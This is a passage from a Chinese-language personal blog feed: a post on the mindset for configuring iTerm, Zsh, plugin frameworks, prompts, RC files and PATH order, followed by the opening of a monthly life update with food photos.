<p>有鑑於網路上已經有<a href="https://www.google.com/search?q=Zsh&#43;Terminal&#43;%E6%95%99%E5%AD%B8" target="_blank" rel="noreferrer">太多<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> Terminal / Zsh / Oh My Zsh / Powerlevel9k / Powerlevel10k 的文章了，所以我不打算再重新介紹一遍這些工具。作為 N 年前也曾經照著這些教學無腦往 Terminal 複製貼上的人，更有意義的是分享一下要用什麼 mindset 去理解這些工具，還有理解它們想嘗試解決的問題。</p>
<p>所以，這篇文會作為一篇「導論」，讓 N 年前的我自己，還有現在正在讀這篇文章的你，有一份清晰的指南可以在被設定檔搞到昏頭轉向的時候，有一些基本的原則去遵循。掌握關鍵的想法，再回到實作課裡面照著前面說的這些教學，實際操作設定適合自己的 Terminal！</p>
<h2 id="-名詞定義" class="relative group">📛 名詞定義 </h2><p>首先先來幾個基本的名詞定義</p>
<p>我姑且在這篇文章以及我的 <a href="https://docs.tomy.me/zsh" target="_blank" rel="noreferrer">Docs<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 中粗暴的把這些跟 Terminal 有關的工具以主要的功能歸納進以下的分類，但部分工具也是有可能同時支援其他的功能，比方説 Oh My Zsh 雖然最主要的功能是作為 Library 提供各種 Plugin，但它也有提供簡單的 Prompt 客製化功能。</p>
<h3 id="-terminal" class="relative group">📟 Terminal </h3><p>終端機，也就是你會打開使用的應用程式。我目前使用的是 <a href="https://iterm2.com/" target="_blank" rel="noreferrer">iTerm<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>。</p>
<p>雖然網路上每隔一陣子就會有新的 macOS Terminal 發布，但大部分最後都很難持續下去，iTerm 即便老，但社群還是很活躍，大部分我碰到過的問題都有人踩過了，再加上它的外觀設定支援無邊際 + 自動 Dark/Light 模式的切換，說實在沒什麼值得抱怨的。</p>
<p>如果你對其他小眾的 macOS Terminal 有興趣，可以在我的 <a href="https://docs.tomy.me/mac-app" target="_blank" rel="noreferrer">Docs<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 裡搜尋 Terminal。</p>
<h3 id="-shell" class="relative group">🐚 Shell </h3><p>終端機在開啟之後啟動的程式，作為你與電腦之間交互的介面，我目前使用的是 Zsh。</p>
<p>雖然一度曾經考慮過 Fish，但網路上看過去，社群最活躍的依舊是 Zsh，再加上大部分 Linux 系統都還是使用 Bash 來寫腳本，而 Zsh 的語法基本上跟 Bash 高度相容，短期內沒有打算離開這個舒適圈。</p>
<h3 id="-library" class="relative group">📚 Library </h3><p>函式庫，有很多別人寫好的小工具，主要提供各式各樣的功能，可以混著使用，但我目前只有使用 <a href="https://ohmyz.sh/" target="_blank" rel="noreferrer">Oh My Zsh<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>。如果之後有空可能會去看看 <a href="https://github.com/sorin-ionescu/prezto" target="_blank" rel="noreferrer">Prezto<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 裡面有什麼好玩的東西。</p>
<p>過來人衷心建議大家安裝 Plugin 的時候好好看一下裡面有哪些功能，不然裝了等於沒裝。</p>
<h3 id="-framework" class="relative group">🏭 Framework </h3><p>框架，主要提供系統化的方式去管理各種工具的設定或腳本。以前使用的是 <a href="https://github.com/zsh-users/antigen" target="_blank" rel="noreferrer">Antigen<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，但前言有提到，這框架已經有長達 6 年沒維護了。這個月試了 <a href="https://github.com/zdharma-continuum/zinit" target="_blank" rel="noreferrer">Zinit<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>, <a href="https://github.com/zimfw/zimfw" target="_blank" rel="noreferrer">Zim<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 還有 <a href="https://github.com/rossmacarthur/sheldon" target="_blank" rel="noreferrer">Sheldon<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，最終選了 Zinit，主要的考量有以下原因：</p>
<ul>
<li>主設定檔就是 Zsh 腳本，所以我可以在裡面放 if-else 來根據執行的環境動態決定我要載入哪些 plugin</li>
<li>支援 Completion 管理，這功能我沒在其他 framework 看過，又潮又實用</li>
<li>可以透過 pre-compile plugin 腳本來大幅加快載入速度</li>
<li>有 reporting/investigating 的功能，如果有任何奇怪的問題，可以透過這個功能來 debug</li>
</ul>
<h3 id="λ-prompt" class="relative group">λ Prompt </h3><p>有點難以翻譯，總之就是你在 Terminal 中每執行完一個指令會重新印出來的指標。網路上最流行的應該是 <a href="https://github.com/Powerlevel9k/powerlevel9k" target="_blank" rel="noreferrer">Powerlevel9k<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 和 <a href="https://github.com/romkatv/powerlevel10k" target="_blank" rel="noreferrer">Powerlevel10k<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，我用的是 <a href="https://github.com/starship/starship" target="_blank" rel="noreferrer">Starship<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，因為這個是 Rust 寫的，速度極快，而且設定起來非常簡單，不如 Powerlevel10k 那麼複雜。</p>
<p>我的建議是，去預設的範本裡找一個順眼的抄來直接用，美觀這種的東西，在你沒有真的感覺到很不順眼之前，不值得花太多時間設定。</p>
<h2 id="-rc-file" class="relative group">⏳ RC File </h2><p>通常 Shell 在啟動之後先執行一系列的設定檔，俗稱「RC File」，根據你的 Shell 和作業系統的不同，執行順序可能會<a href="https://blog.flowblok.id.au/2013-02/shell-startup-scripts.html" target="_blank" rel="noreferrer">很不一樣<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，身為把這個議題研究的<del>算是有點</del>透徹的過來人，我強烈不推薦大家去研究這東西，反正你的作業系統有極高的機率不會照著文檔上的描述運作 ¯\_(ツ)_/¯ 只要知道有這回事，然後真的需要 debug 的時候再回來看看就好。</p>
<p>我自己統整出來一個在 Zsh 中可以應付 90% 使用場景的簡單做法是：</p>
<ul>
<li>只設定兩個設定檔：<code>.zshenv</code> 還有 <code>.zshrc</code></li>
<li><code>.zshenv</code> 設定好大部分重要的環境變數，像是 <code>PATH</code>, <code>ZDOTDIR</code> 還有 <code>XDG_CONFIG_HOME</code></li>
<li>剩下的全部放到 <code>.zshrc</code></li>
</ul>
<p>實務上我會：</p>
<ul>
<li>把我的各項設定檔備份到我的 <a href="https://github.com/tomy0000000/dotfiles" target="_blank" rel="noreferrer">dotfiles repo<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></li>
<li>把 repo clone 到 <code>~/.dotfiles</code> 下</li>
<li>Soft Link <code>.zshenv</code> 到 <code>~/.zshenv</code></li>
<li>在 <code>.zshenv</code> 裡用 <code>ZDOTDIR</code> 和 <code>XDG_CONFIG_HOME</code> 這兩個特殊的環境變數來指向 repo 裡的設定檔</li>
<li>其他的設定檔可以繼續放在 <code>~/.dotfiles/zsh</code></li>
</ul>
<p>這樣可以有效保持 Home 目錄底下的整潔，有任何改動也可以 commit 到 repo 同步到其他環境。</p>
<h2 id="-速度---功能---美觀" class="relative group">⚡️ 速度 &gt;&gt; ✨ 功能 &gt;&gt;&gt;&gt;&gt; 🦄 美觀 </h2><p>Terminal 是一個工具，目的是提供一個舒服的環境把事情做完，然後 move on 到其他更重要的事情。秉持著這個觀點，如果因為使用了某個工具，導致 Terminal 反應速度變的遲緩，我是絕對不會接受的。</p>
<p>我的建議是，如果你用的某些工具有類似的問題，可以去查查看有沒有加速的功能，比如：</p>
<ul>
<li>Zinit 的 <a href="https://github.com/zdharma-continuum/zinit?tab=readme-ov-file#turbo-and-lucid" target="_blank" rel="noreferrer">Turbo / Lucid<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></li>
<li>Powerlevel10k 的 <a href="https://github.com/romkatv/powerlevel10k?tab=readme-ov-file#instant-prompt" target="_blank" rel="noreferrer">Instant Prompt<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></li>
</ul>
<p>這些功能大部分都是以異步的方式去載入速度比較慢的 plugin，雖然聽起來有點 overkill，但真的在辦正事的時候，這些毫秒級的差異，感受其實會異常明顯。</p>
<h2 id="-path-的順序" class="relative group">🛣️ <code>PATH</code> 的順序 </h2><p>雖然這部分我也還沒完全整理乾淨，但理想上是按照這個順序：</p>
<ol>
<li><code>pyenv</code>, <code>rbenv</code>, <code>goenv</code> 等等版本管理器的 <code>PATH</code>，比方説 <code>~/.pyenv/shims</code></li>
<li>個別使用者層級的 Binary：通常我會放在 <code>~/.local/bin</code> ，<code>pip</code> 安裝的東西也會預設在這裡</li>
<li>多個使用者共用的 Binary：我會放在 <code>/opt/some-shared-cli</code>，這個靈感來自 Homebrew，我大致看了一下他們的決策過程，覺得這是一個合理的做法，所以跟隨了他們的腳步。放在 Homebrew 前面這樣才可以優先使用這些另外安裝的工具。</li>
<li>Homebrew：在 Apple Silicon 的話會在 <code>/opt/homebrew</code></li>
<li><code>/usr/local/bin</code> 是 Homebrew 在 Intel 時期的預設位置，有些工具也會傾向安裝在這裡，為了相容這些工具會把這個也加上。</li>
<li>作業系統提供給使用者的 Binary，比方説 <code>/usr/bin</code> 和 <code>/bin</code></li>
<li>系統本身要用的 Binary，比方説 <code>/usr/sbin</code> 和 <code>/sbin</code></li>
</ol>
<h2 id="-顏色要在哪裡設定" class="relative group">🌈 顏色要在哪裡設定 </h2><p>以我使用的 <a href="https://draculatheme.com/" target="_blank" rel="noreferrer">Dracula<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 主題來說，你可以選擇在這些地方安裝主題</p>
<ul>
<li><a href="https://draculatheme.com/iterm" target="_blank" rel="noreferrer">iTerm<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></li>
<li><a href="https://draculatheme.com/zsh" target="_blank" rel="noreferrer">Zsh / Oh My Zsh<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></li>
<li><a href="https://draculatheme.com/starship" target="_blank" rel="noreferrer">Starship<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></li>
</ul>
<p>不論你選擇在哪裡安裝，這個主題都會生效，但我發現最合理的選項只有 Terminal，因為其他層級的控制範圍都只包含到文字的顏色，只有 Terminal 可以同時修改視窗 + 背景的顏色。比方説 iTerm 會自動切換 Dark/Light 模式下的背景顏色，所以文字的顏色自然也就必須要跟著切換，不然 Dark Mode 下的螢光色文字放到 Light Mode 真的會瞎掉：）但缺點就是如果你有其他的 Terminal，比方説 VS Code，那兩邊就需要分開設定。</p>
<hr>
<p>好了差不多就這樣，其他改天想到再補充。我的各種設定都有在 <a href="https://github.com/tomy0000000/dotfiles" target="_blank" rel="noreferrer">dotfiles<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 裡，歡迎大家<del>抄作業</del>觀摩，祝大家玩 Terminal 玩的開心！有問題也可以在下面留言跟我討論 (๑•̀ㅂ•́)و✧</p>
]]></content:encoded><category>🤖 開發</category><guid isPermaLink="false">zsh-configure-mindset</guid><pubDate>Sun, 27 Apr 2025 19:06:29 -0700</pubDate></item><item><title>2025 年 3 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2025-march-dump/</link><description>歲月靜好</description><content:encoded><![CDATA[<p>前幾天看到日曆發現又快月底了，然後就發現，欸奇怪怎麼想不起來上個月訂了什麼目標，結果一看才發現上個月寫報報的時候寫看圖說故事寫得太開心了，壓根就把訂目標這回事全忘了 😂 難怪這個月過的好像挺愜意的 (?)</p>
<h2 id="-外面好吃的" class="relative group">🍽️ 外面好吃的 </h2><p>美國難得有好吃的蛋包飯，太好吃了，值得放上來誇一下</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2025-march-dump/omurice-at-curry-hyuga.jpg"
      class="mx-auto my-0 rounded-md"
      alt="金黃色蛋包飯配上濃郁咖哩醬，旁邊有紅椒和奶油沙拉。"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">在 Cupertino 的 <a href="https://maps.app.goo.gl/eQKbXqHNYwsyqzj8A" target="_blank" rel="noreferrer">Curry Hyuga<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></figcaption>
</figure>
</p>
<h2 id="-家裡煮的" class="relative group">🧑🏻‍🍳 家裡煮的 </h2><p>雖然現在公司都有供三餐，所以我平日幾乎不怎麼需要自己打理三餐，但假日如果餐餐外食，在灣區還是有點太奢侈，於是又開始煮飯了。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2025-march-dump/mushroom-omelette-with-salmon.jpg"
      class="mx-auto my-0 rounded-md"
      alt="煎鮭魚搭配炒蛋和蘑菇，擺盤在淺綠色餐盤上，背景為鍵盤和桌面。"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">15 分鐘上桌系列之蘑菇炒蛋配香煎鮭魚</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2025-march-dump/curry-rice.jpg"
      class="mx-auto my-0 rounded-md"
      alt="簡單家常咖哩飯，內含雞肉、馬鈴薯和紅蘿蔔，盛放在淺色碗中。"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center"><del>很有進步空間的</del>咖哩飯</figcaption>
</figure>









  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2025-march-dump/yakisoba.jpg"
      class="mx-auto my-0 rounded-md"
      alt="日式炒麵上覆蓋海苔、日式美乃滋和太陽蛋，擺放在淺綠色餐盤中。"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">怎麼好像意外成功的<a href="https://docs.tomy.me/yakisoba" target="_blank" rel="noreferrer">日式炒麵<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></figcaption>
</figure>
</p>
<h2 id="-放假出去玩-ଘ--ଓ" class="relative group">🏞️ 放假出去玩 ⁽⁽ଘ( ˙꒳˙ )ଓ⁾⁾ </h2>

<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
